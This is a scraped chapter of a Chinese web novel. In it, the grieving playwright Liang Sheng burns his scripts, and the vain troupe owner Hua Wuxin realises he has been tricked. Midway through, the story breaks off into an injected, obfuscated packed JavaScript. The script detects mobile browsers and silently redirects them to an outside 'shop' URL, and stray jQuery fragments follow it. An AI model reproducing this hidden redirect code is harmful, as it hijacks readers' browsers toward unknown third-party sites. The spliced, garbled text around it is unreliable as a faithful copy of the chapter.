第103章:花老板被坑了

作品:《执灯人

    他声嘶力竭地呼喊,声音里满是绝望的哀求。


    可这阴阳两隔的屏障,让他的呐喊连一丝涟漪都没能掀起。


    更传不到梁生耳中。


    火焰贪婪地舔舐着残破的纸页,那些曾在灯下反复打磨的墨字,那些藏着悲欢离合的戏文,随着纸钱一同蜷缩、发黑……


    最终化为轻飘飘的灰烬。


    风一吹,便四散飘零。


    梁生抓起酒瓶,仰头又灌了几口酒。


    辛辣的酒液呛得他咳嗽不止,满脸涨得通红。


    他一辈子爱干净,衣裳永远浆洗得平整,鞋面擦得发亮。


    可此刻,他的衣摆沾满泥污,裤脚磨破了边,鞋子上裹着厚厚的尘土。


    他却不在意了。


    仿佛连维持体面的力气,都随着戏文的灰烬一同耗尽了。


    心死之人,又怎会在乎皮囊的洁净。


    天色渐沉,一阵冷风吹过,让梁生混沌的脑子清醒了几分。


    他撑着墓碑摇摇晃晃起身。


    就在这时,一辆装饰精致的马车缓缓驶来。


    停在了坟地外。


    车窗推开,露出花老板那张保养得宜的脸。


    当他看到从坟地里踉跄走出的梁生时,满脸嫌弃。


    赶紧让人把梁生拖到马车里来。


    梁生喝了点酒,身子很沉,半扶半拖的被人塞进了马车。


    车厢里铺着柔软的丝绸垫子,弥漫着淡淡的熏香,与梁生身上的酒气、泥污形成了刺眼的反差。


    他刚一落座,便头一歪就倒在垫子上,鼾声响起。


    花无心坐在对面,只能皱着眉别过脸,吩咐车夫:“快点走,别让这股子味儿染了我的车。”


    等梁生醒来,人已经在锁云楼了。


    花老板坐在屋中喝茶,见他醒来,端着傲娇的表情道:“梁掌笔,您可真能睡,这一觉起来,天都亮了。”


    梁生认识他。


    锁云楼花家班的班主花无心。


    前几天好像因为伯安侯府要请他去唱《屏门记》,专门到琼花楼请教他。


    他才说了两句,花老板就说懂了,转身就走。


    是个自负的人。


    梁生揉着发胀的头问:“我这是在哪?”


    “还能是哪?”花老板挑眉,随手提起桌上的茶壶,倒了杯温水递过去,动作间带着几分施舍般的随意,“自然是我的锁云楼。难不成你还以为在严老板的坟边?”


    梁生渴得厉害,抓过茶杯一饮而尽。


    温热的水滑过干涩的喉咙,熨帖了酒后灼痛的胃,混沌的脑子也清醒了些。


    “我昨日去琼花楼寻你,”花老板语气里满是抱怨,“结果那帮人说你早被赶出来了,害我好一通好找。我就猜你准在严老板那儿,果然一去就见你醉倒在坟前,活像个没人管的老东西。”


    梁生垂眸看着杯底残留的水渍,眼底依旧是化不开的死寂,只淡淡问:“你找我做什么?”


    “还能做什么!”花老板脖颈一梗,又犯了那股子傲娇劲儿,下巴抬得老高,“我花无心可不是什么阿猫阿狗的戏本都肯唱的。要不是……要不是有人再三求着我,就凭梁掌笔你如今的境况,这戏本子我才懒得碰。”


    梁生坐在床沿,眼神空洞地盯着他,满脸茫然。


    他听不懂花无心的话。


    更不明白这素日里眼高于顶的花班主,为何会突然找上门来提戏本的事。


    花老板见他这副懵懂模样,心里暗啐一声“老糊涂”,便重新坐回桌边,手指叩了叩桌面,语气带着几分施舍般的笃定:“说白了,就是您的戏,我花家班接了!凭我们班子的能耐,保管把您的戏搬上春台,让那些达官显贵都拍手叫好。”


    “为什么?”梁生问,他的戏,自从严砚之走后,就再也没人问津了。


    “什么为什么?”花无心嗓门陡然拔高,像是被问住了般,随即又沉下脸,语气里多了几分真切,“自然是好戏难得,我惜才罢了。”


    他顿了顿,像是回忆起过往,眼神飘远了些:“我小时候,个子矮,头又大,哪个戏班见了都嫌我晦气,不肯收我。


    后来我拜了民间的赤脚师父,风里来雨里去地学艺,</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750517|188920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    凭着这副金嗓子,硬生生在京城闯出名堂!


    如今谁不知道我花无心的本事?


    我的花家班,上到花旦、武生,下到鼓师、琴师,


    哪个不是身怀绝技、能挑大梁的。”


    他唾沫横飞地把自己和花家班夸得天上有地下无。


    可梁生只是静静地听着,眼底的茫然丝毫未减。


    始终没弄明白这突如其来的“橄榄枝”究竟是何意。


    花老板夸得口干舌燥,见他还是这副样子,也没了耐心,直截了当地道:“别愣着了,梁掌笔,快把您的新戏本拿给我看看。离四月初八浴佛节没几天了,春台戏的戏单都要定了,我们拿了本子也好赶紧排演,总不能临场出错。”


    梁生这才缓缓起身,弯腰穿鞋,嘴里轻飘飘地吐出一句:“我没有什么新戏本。”


    “你说什么?”花老板像是没听清,猛地一拍桌子,眼睛瞪得溜圆,彻底懵了,“什么叫没有戏本?四月初八的春台戏,勋贵圈子里早就传疯了,说你有压箱底的好本子要现世,我花家班可是特意应下的。你现在告诉我没有?那我们拿什么唱?”


    “什么春台戏?”梁生抬起头,“与我何干,不知道你在说什么。”


    “梁掌笔!”花老板急了,往前凑了两步,“您可别诓我,这事儿可不是闹着玩的,多少双眼睛盯着浴佛节的戏呢。”


    “你是说我先前写的那些吗?我在砚之的坟前,都烧了。


    “什……什么?!”花老板惊得眼珠子都快瞪出来,“您开什么玩笑,这可不是好玩的事!”


    梁生却只是摇了摇头,执意离开了锁云楼。


    花老板才后知后觉地反应过来——自己这是被坑了!


    他气急败坏地直奔大理寺。


    一进门就嚷嚷着要找谢景。


    谢景将他召进公房。


    门外的衙役们见又来了个衣着光鲜、面容白净的,纷纷伸着脑袋往里瞅。


    “上回是个姑娘,这回这位……瞧着也斯斯文文的,跟个姑娘似的。”


    “谢大人口味真重。”